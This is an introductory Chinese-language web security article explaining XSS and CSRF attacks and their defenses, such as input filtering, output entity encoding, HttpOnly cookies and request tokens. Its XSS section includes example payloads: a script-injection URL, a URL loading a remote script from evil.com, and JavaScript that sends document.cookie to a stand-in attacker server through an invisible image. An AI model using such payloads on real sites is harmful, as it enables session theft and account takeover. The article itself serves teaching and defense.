浅谈Web安全
XSS原理和攻防
跨站脚本(Cross Site Scripting)
XSS的原理是攻击者往Web页面插入恶意可执行网页脚本,当用户浏览这个页面的时候,嵌在网页中的脚本就会执行,从而达到窃取用户信息的目的
XSS的危害
- 挂马
- 盗取用户Cookie
- DDOS(拒绝服务) 客户端浏览器
- 钓鱼攻击
- 删除目标文章、恶意篡改数据、嫁祸
- 劫持用户Web行为,甚至进一步渗透内网
- 爆发Web2.0蠕虫
- 蠕虫式挂马攻击、刷广告、刷浏览、破坏网上数据
XSS的分类
-
反射型XSS(非持久型XSS)——仅对当前访问的页面产生影响
- 攻击者会让用户访问一个被篡改的URL,当用户访问该链接的时候就会触发预先插入网页中的脚本,从而达到攻击的目的
https://xxx.com/xxx?test=<script>alert(document.cookie)</script>
-
持久性XSS(存储型XSS)——一般存在于表单提交等交互功能,如文章留言,提交文本信息等
-
黑客利用的XSS漏洞,将攻击脚本经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时将其渲染执行
-
XSS存在的原因
对URL中的参数或对用户提交输入的部分没有充分过滤,导致输入的不合法内容可以保存在web服务器
当用户再次读取代码时,保存的脚本将会执行做出危害用户的操作
XSS的实例——盗取用户的Cookie
Cookie一般保存当前用户的登录凭证。一旦被盗取,黑客可能通过Cookie直接登进用户的账户,进行恶意操作
-
攻击者加载一个远程脚本
http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>
-
XSS Payload
在远程脚本evil.js
中,窃取用户Cookielet img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
- 插入不可见的图片,同时把
document.cookie
作为参数,发到远程服务器
- 插入不可见的图片,同时把
XSS的防御
对输入(和URL参数)进行过滤,对输出进行编码,Cookie设置
http-only
-
输入过滤处理
- 对于引号、尖括号、斜杠进行转义
- 包括用户输入、URL参数、POST请求参数、Ajax
- 白名单过滤策略:只允许输入字母 + 数字等 或者 限制输入长度
- 黑名单过滤策略:对
<script></script>
等过滤
- 对于引号、尖括号、斜杠进行转义
-
输出格式化
特殊字符 实体编码 & &
< <
> >
" "
' '
/ /
-
Cookie设置
http-only
- Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息
-
编程语言
https://github.com/leizongmin/js-xss
CSRF原理和攻防
跨站点请求伪造(Cross Site Request Forgery)
攻击者盗用你的身份,以你的名义发送恶意请求。
CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账。造成的问题包括:个人隐私泄露以及财产安全
CSRF的特点
- csrf发生在第三方网站
- csrf攻击获取不到cookie信息,只是使用
CSRF的防御
-
尽量使用POST请求,Get请求不对数据进行修改
-
不让第三方网站访问到用户Cookie
-
阻止第三方网站请求接口
-
请求时附带验证信息,比如验证码或者Token
参考文章
https://juejin.im/post/6844903797349859342
https://www.bilibili.com/video/BV1DW411U7XE?t=888